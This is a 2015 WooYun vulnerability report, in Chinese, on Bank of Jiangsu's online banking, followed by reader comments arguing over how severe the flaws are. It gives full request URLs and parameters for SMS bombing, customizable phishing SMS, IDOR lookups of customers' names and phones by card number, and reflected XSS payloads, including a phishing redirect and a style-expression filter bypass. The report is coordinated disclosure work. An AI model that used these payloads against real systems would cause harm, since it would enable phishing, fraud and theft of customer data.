缺陷编号:WooYun-2015-0123530
漏洞标题:金融小能手之江苏银行(测评漏洞打包)
相关厂商:江苏银行
漏洞作者:咚咚呛
提交时间:2015-07-02 15:26
公开时间:2015-08-17 08:38
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开
越权查询、自定义钓鱼短信、文件上传等等。
出差忙了将近3周了快,一周腾不出空来写报告,现在终于有时间了。一直在建议乌云提供个上传word或者提交附件的功能,直接把报告给提交了,会生了好多工夫。
一共11处风险,高中低依次排序。如下:1、(1)任意手机好无线发送短信(短信炸弹)功能点:个人贷款 > 我要借款 > 税e融链接:https://**.**.**.**/newperbank/sendMobilePwdForApply.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,比如我修改为我自己的手机号,如图:
另:换成其他号码也可正常发送,且没有数量限制。2、(2)任意手机好无线发送短信(这地方有俩风险)功能点:签约中心 > 手机银行链接:https://**.**.**.**/newperbank/sendMbInfoModifyPass.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,比如我修改为任意手机号,如图:
1)此处可以任意指定手机号无限发送手机短信,没有间隔。
2)可以从数据包返回值得到验证码,绕过手机验证。搞不懂为啥子要把短信给response。如图:
3、(3)任意手机好无线发送短信(这地方有俩风险)功能点:签约中心 > 动账短信通知链接:https://**.**.**.**/newperbank/sendAccountNotifyPassword.do?EMP_SID=EOFWIPDTILCIJLHGHAJCIGBIDZIIJJEEEBCQFCBW参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,其可以得到发送的短信内容即验证码,且可以批量发送。如图:
4、看我玩转钓鱼(短息任意设置)功能:客户服务 > 安全设置 > 私密信息修改链接:https://**.**.**.**/newperbank/sendMobilePassword.do?EMP_SID=FMIOEEBNCRFKISGVFUCPCFCYAZDXDCBOELBYCKDA测试发现,添加参数名称,可以自定义短信,比如msgType表示类型,比如msgType设置为1时,特别适合钓鱼短信,比如参数设置:msgType=1&payAccount=22222&recAccount=0246&recAccountName=6228760005****40246&payAmount=10000%E5%85%83%E5%A6%82%E6%9C%89%E9%97%AE%E9%A2%98%E8%AF%B7%E8%AE%BF%E9%97%AE http://**.**.**.**%20&totalNum=1
当然这里也可以当成短信炸弹一直发。以上4处风险都为短信类型风险,地址不一样,参数大体相同。5、文件上传说明:这个也算是个风险,但是确实没成功。简单说就是文件过滤不严格,我饶了半个点,没绕过去,但感觉确实是个问题,细节看下面。功能点:客户服务 > 网银设置 > 个人资料修改
链接:https://**.**.**.**/newperbank/userIconUpload.do数据包如图:
经过多次测试发现,文件地址跟账户有关,我这里上传的固定文件地址为:https://**.**.**.**/newperbank/images/selfIcon/1002231589.jpg就是说我传啥,只要成功,名字就是1002231589,如图:我上传文件名1.jpgtxt
然后正常传上去了正常访问,链接:https://**.**.**.**/newperbank/images/selfIcon/1002231589.jpgtxt
经过我鼓捣半个点,它的判断流程好像是,搜索最后一个“.”然后判断“.”后面的3位字符,是否是图片后缀,如果是则提取.jpg后的所有字符作为后缀,比如1.txt.jpga,它提取后缀为.jpga,功力不够绕不过去了,不过风险肯定存在了,没准谁就给绕过去了。6、根据银行卡号查询敏感信息(1)功能点:转账汇款>大额转账维护连接:https://**.**.**.**/newperbank/002028_cstinfoQuery.do参数:recAccount=6228760205000897070 此处为银行卡号可以通过银行卡号查询姓名电话等敏感信息,如图:
大量跑下数据,比如跑1000条数据,如图:
然后可以写个脚本脱卡号、姓名、电话信息库了。7、根据银行卡号查询敏感信息(2)功能点:转账汇款>定向转账维护连接:https://**.**.**.**/newperbank/002027_QueryCustInfo.do参数:recAccount=6228760205000897070 此处为银行卡号跟上个,达到效果一样,但是地址和链接不同,可以通过银行卡号查询姓名电话等敏感信息,如图:
8、xss跨站脚本(篡改js流程)功能点:账户管理 > 跨行账户管理 > 申请他行账户查询链接:https://**.**.**.**/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";alert(1);//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:
再或者执行js跳转到钓鱼网站:https://**.**.**.**/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";window.location.href="http://**.**.**.**";//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=029、xss跨站脚本(篡改js流程)功能点:账户管理 > 跨行账户管理 > 申请他行账户查询链接:https://**.**.**.**/newperbank/110102_3_confirm.do?EMP_SID=DAAFBDHSDAAGCBGXEQEVGJFVEFAOIPHPHHEXCYIY&qdfs=0&fqjg=313301099999&jsjg=102100099996&dsfkhh=111111111111";alert(1);//&fkrkhhh=102100099996&fkrzh=0&fkrmc=0&fkrzhlx=0&khh=1240748232&skrzh=6228762005000141380&skrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&skrkhhh=313301099999&ywzl=00100&khfwh=1240748232&dbjesx=&rljbssx=&rljjesx=&yljbssx=&yljjesx=&sxrq=&gqrq=&fkrlxdh=&xdzhlx=TL01&sxf=&fy=test&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:
10、xss跨站脚本(绕过安全防护)功能:账户管理 > 跨行账户管理 > 授权本行账户查询说明:此处跟上两出不太一样,上两处所说在系统上经常出现,但是属于那种修改js流程的缺陷,但此处就是过滤严重不足了。跟框架整体过滤有关。其实测到上面的功能也能发现这个,起初以为过滤了,就没多绕,我的固定思维“我只找程序员忽略的店”,不过后来还是手贱测了测,发现只顾虑了><,瞬间脑子俩次“成了”。
测试发现之过滤了><,如图:
真的就是1秒绕过,我会骗你?改成GET如下:https://**.**.**.**/newperbank/110102_2_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&bcxhh=313301099999&bcxrzh=6228762005000141380&bcxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&bcxrzhlx=1&cxhh=102100099996&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C&cxrzh=6228760005000040246&cxrmc=testa"%20style="width:expression(alert(1));%20"&xdfkzhlx=&sxf=&dsfkhh=1240748232&fy=bbbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02注意参数:cxrmc=testa"%20style="width:expression(alert(1));%20"
11、xss跨站脚本(绕过安全防护)功能点:账户管理 > 跨行账户管理 > 授权本行账户支付连接:https://**.**.**.**/newperbank/110102_4_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&dsfkhh=6228760005000040246&fkrkhhh=313301099999&fkrzh=6228762005000141380&fkrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&fkrzhlx=1&khh=1240748232&skrzh=6228760005000040246&skrmc=testaa"%20style="width:expression(alert(1));%20"&skrkhhh=102100099996&ywzl=00100&khfwh=6228760005000040246&dbjesx=123.00&rljbssx=123&rljjesx=123.00&yljbssx=123&yljjesx=123.00&sxrq=20150628&gqrq=20150630&fkrlxdh=88888888&xdzhlx=&sxf=&fy=bbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C
上面很详细了。还是总结下撒:江苏银行整体安全欠佳,多处表现在短信发送、越权查询、XSS跨站等。系统其实本身的越权防护机制还是听完善的,不过可能疏忽还是业务需要,造成了用户信息泄露。针对XSS防护则存在有明显的缺陷,比如只过滤了><,对双引号、单引号等都为防护,导致基本通杀,上面漏洞提到的4出风险只是我简单写的,只起到提醒作用,系统中存在大量xss,请注意。我以上只是简单测试了一下,由于是测试卡很多数据都不存在,对测试会造成很大影响。所以希望行方谨慎对待。
其实这些漏洞你们应该经常修复才对。原理搞清了,程序员还是很给力的,要相信自己的工程师。
危害等级:中
漏洞Rank:10
确认时间:2015-07-0308:36
感谢对江苏银行信息安全的关注。
暂无
这么晚了还有人在审核哦
提交报告 看起来费事
。。。确定能提到乌云上?
@qhwlpg 啥子?
@咚咚呛 不会被查水表么
@prolog 国内的都玩遍了,等搞到国外的账户,就开始异界之旅了
11处风险,没有低危,绝大多数高危,你给10分?不知道是厂商不负责任还压根就不懂,还是真的是我错了,不该这样提风险集合。
现在不是分的问题了,就凭你这态度,我是不是真的要把漏洞拆了一个个发送给你。
@xsser @疯狗 是我太天真了?
@咚咚呛 是你太认真了
入戏太深
入戏太深,说吧,你想要什么礼物
不知道没有低危是怎么出来的,xss需要考虑利用场景,通用性等,报告有些夸大,比如短信,同一个参数不同位置这个能算很多个洞?而这个如果算高危的话,那getshell算什么。。xss里style属性只有低版本ie才行吧,而且只看报告里的场景,有点怀疑是否有self-xss。上传的地方并没有绕过,只是猜测也算高危?并没有否认白帽认真程度,但是成果及危害并没有描述的那么大。
@Burn Egg 光可以拖卡号手机姓名库一条就可以是高危了吧
原文连接
的情况下转载,若非则不得使用我方内容。